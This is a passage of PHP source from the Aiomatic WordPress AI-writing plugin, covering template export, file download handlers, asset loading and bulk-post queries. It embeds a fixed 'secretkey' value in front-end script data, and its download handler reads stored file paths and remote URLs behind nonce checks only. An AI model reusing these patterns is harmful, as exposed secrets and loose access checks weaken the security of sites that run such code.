sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_omni') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } $aiomatic_omni_page = 1; $aiomatic_omni = new WP_Query(array( 'post_type' => 'aiomatic_omni_temp', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_omni_page )); $templates = array(); while($aiomatic_omni->have_posts()) { foreach ($aiomatic_omni->posts as $aiomatic_assistant) { $my_temp['name'] = $aiomatic_assistant->post_title; $my_temp['id'] = $aiomatic_assistant->ID; $json_back = get_post_meta($aiomatic_assistant->ID, 'aiomatic_json', true); if(!empty($json_back)) { $aiomatic_assistant->post_content = $json_back; } $jsonme = json_decode($aiomatic_assistant->post_content); if($jsonme === null) { $jsonme = $aiomatic_assistant->post_content; } $my_temp['json'] = $jsonme; $save_term = array(); $terms = wp_get_object_terms( $aiomatic_assistant->ID, 'ai_template_categories' ); if(!is_wp_error($terms)) { foreach($terms as $tm) { $save_term[] = $tm->slug; } } $my_temp['category'] = $save_term; $templates[] = $my_temp; } $aiomatic_omni_page++; $aiomatic_omni = new WP_Query(array( 'post_type' => 'aiomatic_omni_temp', 'order' => 'DESC', 'orderby' => 'date', 'posts_per_page' => 50, 'paged' => $aiomatic_omni_page )); } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=aiomatic_omniblock_templates.json"); header("Pragma: no-cache"); header("Expires: 0"); echo json_encode($templates); exit(); } if(isset($_POST['aiomatic_download_omni_file'])) { $aiomatic_result = array(); if(!isset($_POST['aiomatic_nonce']) || empty($_POST['aiomatic_nonce'])) { $aiomatic_result['msg'] = 'Incorrect verification token sent!'; wp_send_json($aiomatic_result); } if (wp_verify_nonce($_POST['aiomatic_nonce'], 'aiomatic_omni') === false) { $aiomatic_result['msg'] = 'You are not allowed to do this!'; wp_send_json($aiomatic_result); } if(!isset($_POST['aiomatic_fid']) || empty($_POST['aiomatic_fid'])) { $aiomatic_result['msg'] = 'Incorrect request sent'; wp_send_json($aiomatic_result); } $aiomatic_f = get_post($_POST['aiomatic_fid']); if($aiomatic_f === null) { $aiomatic_result['msg'] = 'Nothing to download'; wp_send_json($aiomatic_result); } $file_type = ''; $terms = wp_get_object_terms( $_POST['aiomatic_fid'], 'ai_file_type' ); if(!is_wp_error($terms)) { foreach($terms as $tm) { $file_type = $tm->slug; break; } } global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $f_cont = ''; if($file_type == 'local') { $local_id = get_post_meta($_POST['aiomatic_fid'], 'local_id', true); if(empty($local_id)) { $aiomatic_result['msg'] = 'Local file path not found'; wp_send_json($aiomatic_result); } $f_cont = $wp_filesystem->get_contents($local_id); if($f_cont === false) { $aiomatic_result['msg'] = 'Failed to read file'; wp_send_json($aiomatic_result); } } else { $ulrdl = $aiomatic_f->post_content; $f_cont = aiomatic_scrape_page(trim($ulrdl), '0', 'raw', ''); if($f_cont === false) { $aiomatic_result['msg'] = 'Failed to download remote file'; wp_send_json($aiomatic_result); } } header("Content-type: application/x-msdownload"); header("Content-Disposition: attachment; filename=" . $aiomatic_f->post_title); header("Pragma: no-cache"); header("Expires: 0"); echo $f_cont; exit(); } require_once (dirname(__FILE__) . "/res/aiomatic-finetune.php"); require_once (dirname(__FILE__) . "/res/image-seo/aiomatic-image-seo.php"); aiomatic_cron_schedule(); if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_items_panel') !== false) { $all_rules = get_option('aiomatic_rules_list', array()); } elseif(stristr($last_url, 'aiomatic_youtube_panel') !== false) { $all_rules = get_option('aiomatic_youtube_list', array()); } elseif(stristr($last_url, 'aiomatic_amazon_panel') !== false) { $all_rules = get_option('aiomatic_amazon_list', array()); } elseif(stristr($last_url, 'aiomatic_review_panel') !== false) { $all_rules = get_option('aiomatic_review_list', array()); } elseif(stristr($last_url, 'aiomatic_csv_panel') !== false) { $all_rules = get_option('aiomatic_csv_list', array()); } elseif(stristr($last_url, 'aiomatic_omniblocks') !== false) { $all_rules = get_option('aiomatic_omni_list', array()); } elseif(stristr($last_url, 'aiomatic_listicle_panel') !== false) { $all_rules = get_option('aiomatic_listicle_list', array()); } else { $all_rules = array(); } if($all_rules === false) { $all_rules = array(); } $rules_count = count($all_rules); $rules_per_page = get_option('aiomatic_posts_per_page', 12); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } if((stristr($last_url, 'aiomatic_items_panel') !== false || stristr($last_url, 'aiomatic_listicle_panel') !== false || stristr($last_url, 'aiomatic_youtube_panel') !== false || stristr($last_url, 'aiomatic_amazon_panel') !== false || stristr($last_url, 'aiomatic_review_panel') !== false || stristr($last_url, 'aiomatic_csv_panel') !== false || stristr($last_url, 'aiomatic_omniblocks') !== false) && (!is_numeric($curent_page) || $curent_page > $max_pages || $curent_page <= 0)) { if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } register_setting('aiomatic_option_group', 'aiomatic_Main_Settings'); register_setting('aiomatic_option_group2', 'aiomatic_Spinner_Settings'); register_setting('aiomatic_option_group3', 'aiomatic_Limit_Settings'); register_setting('aiomatic_option_group4', 'aiomatic_Chatbot_Settings'); register_setting('aiomatic_option_group5', 'aiomatic_Limit_Rules'); if (is_multisite()) { if (!get_option('aiomatic_Main_Settings')) { aiomatic_activation_callback(TRUE); } } } add_action('wp_enqueue_scripts', 'aiomatic_wp_load_files'); add_action('admin_enqueue_scripts', 'aiomatic_wp_load_files'); add_action('admin_enqueue_scripts', 'aiomatic_add_admin_scripts', 10, 1); function aiomatic_wp_load_files() { $name = md5(get_bloginfo()); $reg_css_code = '.autox-thickbox.button{margin: 0 5px;}.automaticx-video-container{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.automaticx-video-container embed,.automaticx-video-container amp-youtube,.automaticx-video-container iframe,.automaticx-video-container object{position:absolute;top:0;left:0;width:100%;height:100%}.automaticx-dual-ring{width:10px;aspect-ratio:1;border-radius:50%;border:6px solid;border-color:#000 #0000;animation:1s infinite automaticxs1}@keyframes automaticxs1{to{transform:rotate(.5turn)}}#openai-chat-response{padding-top:5px}.openchat-dots-bars-2{width:28px;height:28px;--c:linear-gradient(currentColor 0 0);--r1:radial-gradient(farthest-side at bottom,currentColor 93%,#0000);--r2:radial-gradient(farthest-side at top ,currentColor 93%,#0000);background:var(--c),var(--r1),var(--r2),var(--c),var(--r1),var(--r2),var(--c),var(--r1),var(--r2);background-repeat:no-repeat;animation:1s infinite alternate automaticxdb2}@keyframes automaticxdb2{0%,25%{background-size:8px 0,8px 4px,8px 4px,8px 0,8px 4px,8px 4px,8px 0,8px 4px,8px 4px;background-position:0 50%,0 calc(50% - 2px),0 calc(50% + 2px),50% 50%,50% calc(50% - 2px),50% calc(50% + 2px),100% 50%,100% calc(50% - 2px),100% calc(50% + 2px)}50%{background-size:8px 100%,8px 4px,8px 4px,8px 0,8px 4px,8px 4px,8px 0,8px 4px,8px 4px;background-position:0 50%,0 calc(0% - 2px),0 calc(100% + 2px),50% 50%,50% calc(50% - 2px),50% calc(50% + 2px),100% 50%,100% calc(50% - 2px),100% calc(50% + 2px)}75%{background-size:8px 100%,8px 4px,8px 4px,8px 100%,8px 4px,8px 4px,8px 0,8px 4px,8px 4px;background-position:0 50%,0 calc(0% - 2px),0 calc(100% + 2px),50% 50%,50% calc(0% - 2px),50% calc(100% + 2px),100% 50%,100% calc(50% - 2px),100% calc(50% + 2px)}100%,95%{background-size:8px 100%,8px 4px,8px 4px,8px 100%,8px 4px,8px 4px,8px 100%,8px 4px,8px 4px;background-position:0 50%,0 calc(0% - 2px),0 calc(100% + 2px),50% 50%,50% calc(0% - 2px),50% calc(100% + 2px),100% 50%,100% calc(0% - 2px),100% calc(100% + 2px)}}'; wp_register_style( $name . '-front-css', false ); wp_enqueue_style( $name . '-front-css' ); wp_add_inline_style( $name . '-front-css', $reg_css_code ); } function aiomatic_admin_load_files() { $name = md5(get_bloginfo()); wp_register_style($name . '-browser-style', plugins_url('styles/aiomatic-browser.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-browser-style'); wp_register_style($name . '-modern-style', plugins_url('styles/aiomatic-modern.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-modern-style'); wp_register_style($name . '-custom-style', plugins_url('styles/coderevolution-style.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-style'); wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-core'); wp_enqueue_script('interface'); wp_enqueue_script('jquery-ui-sortable'); wp_enqueue_script('media-upload'); wp_enqueue_script('thickbox'); wp_enqueue_style('thickbox'); } function aiomatic_admin_load_playground() { $name = md5(get_bloginfo()); wp_register_script($name . '-playground-script', plugins_url('scripts/playground.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-playground-script'); wp_localize_script($name . '-playground-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'modelsvision' => AIOMATIC_MODELS_VISION )); } function aiomatic_add_admin_scripts( $hook ) { global $post; if ( $hook == 'post-new.php' || $hook == 'post.php' ) { if ( 'aiomatic_personas' === $post->post_type ) { $name = md5(get_bloginfo()); wp_register_style($name . '-custom-persona-style', plugins_url('styles/aiomatic-persona.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-persona-style'); } } } function aiomatic_admin_load_live_preview() { $name = md5(get_bloginfo()); wp_register_script($name . '-chat-live-preview-script', plugins_url('scripts/chat-live-preview.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-chat-live-preview-script'); wp_enqueue_media(); wp_enqueue_script( $name . '-media-loader-js', plugins_url( 'scripts/media.js' , __FILE__ ), array('jquery'), AIOMATIC_MAJOR_VERSION ); wp_localize_script($name . '-media-loader-js', 'aiomatic_ajax_object', array( 'nonce' => wp_create_nonce('openai-single-nonce') )); wp_register_style($name . '-custom-persona-style', plugins_url('styles/aiomatic-persona.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-custom-persona-style'); } function aiomatic_admin_load_magic() { $name = md5(get_bloginfo()); wp_register_style($name . '-magic-style', plugins_url('styles/magic.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-magic-style'); } function aiomatic_admin_load_stats() { $name = md5(get_bloginfo()); wp_register_script($name . '-stats-script', plugins_url('scripts/stats.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-stats-script'); wp_localize_script($name . '-stats-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce') )); wp_register_style($name . '-limit-style', plugins_url('styles/aiomatic-limits.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-limit-style'); } function aiomatic_admin_load_embeddings() { $name = md5(get_bloginfo()); wp_register_script($name . '-embeddings-script', plugins_url('scripts/embeddings.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-embeddings-script'); wp_localize_script($name . '-embeddings-script', 'aiomatic_emb_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'maxfilesize' => wp_max_upload_size(), 'plugin_dir_url' => plugin_dir_url(__FILE__) )); wp_register_style($name . '-embeddings-style', plugins_url('styles/embeddings.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-embeddings-style'); } function aiomatic_admin_load_forms() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['max_len']) && $aiomatic_Main_Settings['max_len'] != '') { $max_len = trim($aiomatic_Main_Settings['max_len']); } else { $max_len = ''; } if (isset($aiomatic_Main_Settings['min_len']) && $aiomatic_Main_Settings['min_len'] != '') { $min_len = trim($aiomatic_Main_Settings['min_len']); } else { $min_len = ''; } $name = md5(get_bloginfo()); wp_register_script($name . '-forms-script', plugins_url('scripts/forms.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-forms-script'); wp_localize_script($name . '-forms-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'maxfilesize' => wp_max_upload_size(), )); wp_register_style($name . '-forms-style', plugins_url('styles/forms.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-forms-style'); //for styling for preview $user_id = get_current_user_id(); wp_register_style($name . '-form-end-style', plugins_url('styles/form-end.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-form-end-style'); $reg_css_code = ''; if (isset($aiomatic_Main_Settings['back_color']) && $aiomatic_Main_Settings['back_color'] != '') { $reg_css_code .= '.aiomatic-prompt-item{background-color:' . trim($aiomatic_Main_Settings['back_color']) . '!important;}'; } if (isset($aiomatic_Main_Settings['text_color']) && $aiomatic_Main_Settings['text_color'] != '') { $reg_css_code .= '.aiomatic-prompt-item{color:' . trim($aiomatic_Main_Settings['text_color']) . '!important;}'; } if (isset($aiomatic_Main_Settings['but_color']) && $aiomatic_Main_Settings['but_color'] != '') { $reg_css_code .= '.aiomatic-generate-button{background:' . trim($aiomatic_Main_Settings['but_color']) . '!important;}.aiomatic-get-button{background:' . trim($aiomatic_Main_Settings['but_color']) . '!important;}'; } if (isset($aiomatic_Main_Settings['btext_color']) && $aiomatic_Main_Settings['btext_color'] != '') { $reg_css_code .= '.aiomatic-generate-button{color:' . trim($aiomatic_Main_Settings['btext_color']) . '!important;}.aiomatic-get-button{color:' . trim($aiomatic_Main_Settings['btext_color']) . '!important;}'; } if($reg_css_code != '') { wp_add_inline_style( $name . '-form-end-style', $reg_css_code ); } $stream_url = esc_html(add_query_arg(array( 'aiomatic_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); $stream_url_claude = esc_html(add_query_arg(array( 'aiomatic_claude_stream' => 'yes', 'nonce' => wp_create_nonce('aiomatic-streaming-nonce') ), site_url() . '/index.php')); $image_placeholder = plugins_url('images/loading.gif', __FILE__); wp_register_script( $name . '-forms-front-script', plugins_url('scripts/forms-front.js', __FILE__), false, AIOMATIC_MAJOR_VERSION ); wp_enqueue_script( $name . '-forms-front-script' ); wp_localize_script($name . '-forms-front-script', 'aiomatic_completition_ajax_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'persistentnonce' => wp_create_nonce('openai-persistent-nonce'), 'user_id' => $user_id, 'max_len' => $max_len, 'min_len' => $min_len, 'stream_url' => $stream_url, 'stream_url_claude' => $stream_url_claude, 'claude_models' => AIOMATIC_CLAUDE_MODELS, 'google_models' => AIOMATIC_GOOGLE_MODELS, 'image_placeholder' => $image_placeholder, 'huggingface_models' => aiomatic_get_huggingface_models(), 'secretkey' => 'NDUPPe+cr2Cs2AYiN+JaoBH60cbleu6c' )); wp_enqueue_editor(); } function aiomatic_admin_load_assistants() { $name = md5(get_bloginfo()); wp_enqueue_media(); wp_register_script($name . '-assistants-script', plugins_url('scripts/assistants.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-assistants-script'); wp_localize_script($name . '-assistants-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'maxfilesize' => wp_max_upload_size(), 'retrival_models' => AIOMATIC_RETRIEVAL_MODELS, 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'singlenonce' => wp_create_nonce('openai-single-nonce') )); wp_register_style($name . '-assistants-style', plugins_url('styles/assistants.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-assistants-style'); } function aiomatic_admin_load_batch() { $name = md5(get_bloginfo()); wp_register_script($name . '-batch-script', plugins_url('scripts/batch.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-batch-script'); wp_localize_script($name . '-batch-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'maxfilesize' => wp_max_upload_size(), 'retrival_models' => AIOMATIC_RETRIEVAL_MODELS, 'nonce' => wp_create_nonce('openai-ajax-nonce'), 'loadingstr' => esc_html__("Loading...", 'aiomatic-automatic-ai-content-writer'), 'createdstr' => esc_html__("Batch created:", 'aiomatic-automatic-ai-content-writer'), 'progressstr' => esc_html__("Batch in progress:", 'aiomatic-automatic-ai-content-writer'), 'cancellingstr' => esc_html__("Batch cancelling:", 'aiomatic-automatic-ai-content-writer'), 'cancelledstr' => esc_html__("Batch cancelled:", 'aiomatic-automatic-ai-content-writer'), 'finalizingstr' => esc_html__("Batch finalizing:", 'aiomatic-automatic-ai-content-writer'), 'completedstr' => esc_html__("Batch completed:", 'aiomatic-automatic-ai-content-writer'), 'completedinstr' => esc_html__("Completion time:", 'aiomatic-automatic-ai-content-writer'), 'failedstr' => esc_html__("Batch failed:", 'aiomatic-automatic-ai-content-writer'), 'expiredstr' => esc_html__("Batch expired:", 'aiomatic-automatic-ai-content-writer'), 'singlenonce' => wp_create_nonce('openai-single-nonce'), 'moder_gpt_models_aiomatic' => AIOMATIC_BATCH_MODELS_NO_EMBEDDING, 'moder_embedding_models_aiomatic' => AIOMATIC_EMBEDDINGS_MODELS )); wp_register_style($name . '-batch-style', plugins_url('styles/batch.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-batch-style'); wp_register_style($name . '-training-style', plugins_url('styles/training.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-training-style'); } function aiomatic_admin_load_training() { $name = md5(get_bloginfo()); wp_register_script($name . '-training-script', plugins_url('scripts/training.js', __FILE__), array('jquery'), AIOMATIC_MAJOR_VERSION); wp_enqueue_script($name . '-training-script'); wp_localize_script($name . '-training-script', 'aiomatic_object', array( 'ajax_url' => admin_url('admin-ajax.php'), 'maxfilesize' => wp_max_upload_size(), 'nonce' => wp_create_nonce('openai-training-nonce') )); wp_register_style($name . '-training-style', plugins_url('styles/training.css', __FILE__), false, AIOMATIC_MAJOR_VERSION); wp_enqueue_style($name . '-training-style'); } function aiomatic_do_bulk_post() { register_shutdown_function('aiomatic_clear_flag_at_shutdown', '-1', ''); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false); if (isset($aiomatic_Main_Settings['rule_timeout']) && $aiomatic_Main_Settings['rule_timeout'] != '') { $timeout = intval($aiomatic_Main_Settings['rule_timeout']); } else { $timeout = 36000; } ini_set('memory_limit', '-1'); ini_set('default_socket_timeout', $timeout); ini_set('safe_mode', 'Off'); ini_set('max_execution_time', $timeout); ini_set('ignore_user_abort', 1); ini_set('user_agent', aiomatic_get_random_user_agent()); if(function_exists('ignore_user_abort')) { ignore_user_abort(true); } if(function_exists('set_time_limit')) { set_time_limit($timeout); } if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_exec_time('Bulk Edit'); } if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { $query = array( ); if (isset($aiomatic_Spinner_Settings['author_id']) && $aiomatic_Spinner_Settings['author_id'] != '') { $query['author'] = $aiomatic_Spinner_Settings['author_id']; } if (isset($aiomatic_Spinner_Settings['author_name']) && $aiomatic_Spinner_Settings['author_name'] != '') { $query['author_name'] = $aiomatic_Spinner_Settings['author_name']; } $post_type = 'post'; if (isset($aiomatic_Spinner_Settings['type_post']) && $aiomatic_Spinner_Settings['type_post'] != '') { $post_type = trim($aiomatic_Spinner_Settings['type_post']); $query['post_type'] = array_map('trim', explode(',', $aiomatic_Spinner_Settings['type_post'])); } else { $query['post_type'] = 'post'; } if (isset($aiomatic_Spinner_Settings['category_name']) && $aiomatic_Spinner_Settings['category_name'] != '') { if($post_type === 'product') { $query['tax_query'] = array( array( 'taxonomy' => 'product_cat', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['category_name'], ) ); } else { $query['category_name'] = $aiomatic_Spinner_Settings['category_name']; } } if (isset($aiomatic_Spinner_Settings['tag_name']) && $aiomatic_Spinner_Settings['tag_name'] != '') { if($post_type === 'product') { if(isset($query['tax_query'])) { $query['tax_query'][] = array( 'taxonomy' => 'product_tag', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['tag_name'], ); } else { $query['tax_query'] = array( array( 'taxonomy' => 'product_tag', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['tag_name'], ) ); } } else { $query['tag'] = $aiomatic_Spinner_Settings['tag_name']; } } if (isset($aiomatic_Spinner_Settings['post_id']) && $aiomatic_Spinner_Settings['post_id'] != '') { $postids = $aiomatic_Spinner_Settings['post_id']; $postids = explode(',', $postids); $postids = array_map('trim', $postids); $query['post__in'] = $postids; } if (isset($aiomatic_Spinner_Settings['post_name']) && $aiomatic_Spinner_Settings['post_name'] != '') { $query['name'] = $aiomatic_Spinner_Settings['post_name']; } if (isset($aiomatic_Spinner_Settings['pagename']) && $aiomatic_Spinner_Settings['pagename'] != '') { $query['pagename'] = $aiomatic_Spinner_Settings['pagename']; } if (isset($aiomatic_Spinner_Settings['year']) && $aiomatic_Spinner_Settings['year'] != '') { $query['year'] = $aiomatic_Spinner_Settings['year']; } if (isset($aiomatic_Spinner_Settings['month']) && $aiomatic_Spinner_Settings['month'] != '') { $query['monthnum'] = $aiomatic_Spinner_Settings['month']; } if (isset($aiomatic_Spinner_Settings['day']) && $aiomatic_Spinner_Settings['day'] != '') { $query['day'] = $aiomatic_Spinner_Settings['day']; } if (isset($aiomatic_Spinner_Settings['post_parent']) && $aiomatic_Spinner_Settings['post_parent'] != '') { $query['post_parent'] = $aiomatic_Spinner_Settings['post_parent']; } if (isset($aiomatic_Spinner_Settings['page_id']) && $aiomatic_Spinner_Settings['page_id'] != '') { $query['page_id'] = $aiomatic_Spinner_Settings['page_id']; } if (isset($aiomatic_Spinner_Settings['max_nr']) && $aiomatic_Spinner_Settings['max_nr'] != '') { $max_nr = intval($aiomatic_Spinner_Settings['max_nr']); } else { $max_nr = 0; } if (isset($aiomatic_Spinner_Settings['delay_request']) && $aiomatic_Spinner_Settings['delay_request'] != '') { $delay_request = intval($aiomatic_Spinner_Settings['delay_request']); } else { $delay_request = 0; } if (isset($aiomatic_Spinner_Settings['max_posts']) && $aiomatic_Spinner_Settings['max_posts'] != '') { if(intval($aiomatic_Spinner_Settings['max_posts']) != -1 && $max_nr > intval($aiomatic_Spinner_Settings['max_posts'])) { $query['posts_per_page'] = $max_nr; } else { $query['posts_per_page'] = $aiomatic_Spinner_Settings['max_posts']; } } else { if($max_nr > 5) { $query['posts_per_page'] = $max_nr; } } if (isset($aiomatic_Spinner_Settings['search_offset']) && $aiomatic_Spinner_Settings['search_offset'] != '') { $query['offset'] = $aiomatic_Spinner_Settings['search_offset']; } if (isset($aiomatic_Spinner_Settings['search_query']) && $aiomatic_Spinner_Settings['search_query'] != '') { $query['s'] = $aiomatic_Spinner_Settings['search_query']; } if (isset($aiomatic_Spinner_Settings['meta_name']) && $aiomatic_Spinner_Settings['meta_name'] != '') { $query['meta_key'] = $aiomatic_Spinner_Settings['meta_name']; } if (isset($aiomatic_Spinner_Settings['meta_value']) && $aiomatic_Spinner_Settings['meta_value'] != '') { $query['meta_value'] = $aiomatic_Spinner_Settings['meta_value']; } if (isset($aiomatic_Spinner_Settings['order']) && $aiomatic_Spinner_Settings['order'] != 'default') { $query['order'] = $aiomatic_Spinner_Settings['order']; } if (isset($aiomatic_Spinner_Settings['orderby']) && $aiomatic_Spinner_Settings['orderby'] != 'default') { $query['orderby'] = $aiomatic_Spinner_Settings['orderby']; } if (isset($aiomatic_Spinner_Settings['featured_image']) && $aiomatic_Spinner_Settings['featured_image'] != 'any') { if($aiomatic_Spinner_Settings['featured_image'] == 'with') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'compare' => 'EXISTS' ) ); } elseif($aiomatic_Spinner_Settings['featured_image'] == 'without') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } if (isset($aiomatic_Spinner_Settings['no_twice']) && $aiomatic_Spinner_Settings['no_twice'] == 'on') { if (isset($aiomatic_Spinner_Settings['custom_name']) && trim($aiomatic_Spinner_Settings['custom_name']) != '') { $custom_name = trim($aiomatic_Spinner_Settings['custom_name']); } else { $custom_name = 'aiomatic_published'; } if(isset($query['meta_query'])) { $query['meta_query'][] = array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ); } else { $query['meta_query'] = array( array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } if (isset($aiomatic_Spinner_Settings['post_status']) && $aiomatic_Spinner_Settings['post_status'] != '') { $query['post_status'] = array_map('trim', explode(',', $aiomatic_Spinner_Settings['post_status'])); } else { $query['post_status'] = 'any'; } $processed = 0; $post_list = get_posts($query); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Found ' . count($post_list) . ' posts for this specific query.'); if(count($post_list) == 0) { aiomatic_log_to_file('Query is: ' . print_r($query, true)); } } $current = 1; $display = count($post_list); if($display > $max_nr) { $display = $max_nr; } foreach ($post_list as $post) { if($max_nr > 0 && $processed == $max_nr) { break; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Processing post ' . $current . '/' . $display . ', ID: ' . $post->ID); } $processed++; aiomatic_do_post($post, true); $current++; if($delay_request > 0) { usleep($delay_request * 1000); } } } if($processed == 0) { return 'nochange'; } else { return 'ok'; } } function aiomatic_do_bulk_post_test() { register_shutdown_function('aiomatic_clear_flag_at_shutdown', '-1', ''); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false); if (isset($aiomatic_Main_Settings['rule_timeout']) && $aiomatic_Main_Settings['rule_timeout'] != '') { $timeout = intval($aiomatic_Main_Settings['rule_timeout']); } else { $timeout = 36000; } ini_set('memory_limit', '-1'); ini_set('default_socket_timeout', $timeout); ini_set('safe_mode', 'Off'); ini_set('max_execution_time', $timeout); ini_set('ignore_user_abort', 1); ini_set('user_agent', aiomatic_get_random_user_agent()); if(function_exists('ignore_user_abort')) { ignore_user_abort(true); } if(function_exists('set_time_limit')) { set_time_limit($timeout); } $ret_list = array(); if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { $query = array( ); if (isset($aiomatic_Spinner_Settings['author_id']) && $aiomatic_Spinner_Settings['author_id'] != '') { $query['author'] = $aiomatic_Spinner_Settings['author_id']; } if (isset($aiomatic_Spinner_Settings['author_name']) && $aiomatic_Spinner_Settings['author_name'] != '') { $query['author_name'] = $aiomatic_Spinner_Settings['author_name']; } $post_type = 'post'; if (isset($aiomatic_Spinner_Settings['type_post']) && $aiomatic_Spinner_Settings['type_post'] != '') { $post_type = trim($aiomatic_Spinner_Settings['type_post']); $query['post_type'] = array_map('trim', explode(',', $aiomatic_Spinner_Settings['type_post'])); } else { $query['post_type'] = 'post'; } if (isset($aiomatic_Spinner_Settings['category_name']) && $aiomatic_Spinner_Settings['category_name'] != '') { if($post_type === 'product') { $query['tax_query'] = array( array( 'taxonomy' => 'product_cat', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['category_name'], ) ); } else { $query['category_name'] = $aiomatic_Spinner_Settings['category_name']; } } if (isset($aiomatic_Spinner_Settings['tag_name']) && $aiomatic_Spinner_Settings['tag_name'] != '') { if($post_type === 'product') { if(isset($query['tax_query'])) { $query['tax_query'][] = array( 'taxonomy' => 'product_tag', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['tag_name'], ); } else { $query['tax_query'] = array( array( 'taxonomy' => 'product_tag', 'field' => 'slug', 'terms' => $aiomatic_Spinner_Settings['tag_name'], ) ); } } else { $query['tag'] = $aiomatic_Spinner_Settings['tag_name']; } } if (isset($aiomatic_Spinner_Settings['post_id']) && $aiomatic_Spinner_Settings['post_id'] != '') { $postids = $aiomatic_Spinner_Settings['post_id']; $postids = explode(',', $postids); $postids = array_map('trim', $postids); $query['post__in'] = $postids; } if (isset($aiomatic_Spinner_Settings['post_name']) && $aiomatic_Spinner_Settings['post_name'] != '') { $query['name'] = $aiomatic_Spinner_Settings['post_name']; } if 